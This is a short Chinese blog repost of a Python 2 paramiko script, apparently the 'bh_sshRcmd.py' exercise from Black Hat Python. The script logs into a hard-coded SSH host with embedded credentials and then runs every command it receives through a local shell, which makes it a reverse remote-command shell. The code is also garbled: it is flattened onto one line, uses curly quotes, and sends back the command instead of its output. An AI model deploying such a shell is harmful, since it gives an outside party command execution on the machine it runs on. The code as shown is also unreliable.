标签:python
import threading import paramiko import subprocess def ssh_command(ip,user,passwd,command): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip,username=user,password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command) print ssh_session.recv(1024) while True: command = ssh_session.recv(1024) try: cmd_output = subprocess.check_output(command,shell=True) ssh_session.send(command) except Exception ,e: ssh_session.send(str(e)) client.close() return ssh_command(‘192.168.100.100‘,‘justin‘,‘lovesthepython‘,‘ClientConnectd‘)
本文出自 “专注php” 博客,请务必保留此出处http://jingshanls.blog.51cto.com/3357095/1765562
python 里面的 ssh 里面的bh_sshRcmd.py
标签:python
原文地址:http://jingshanls.blog.51cto.com/3357095/1765562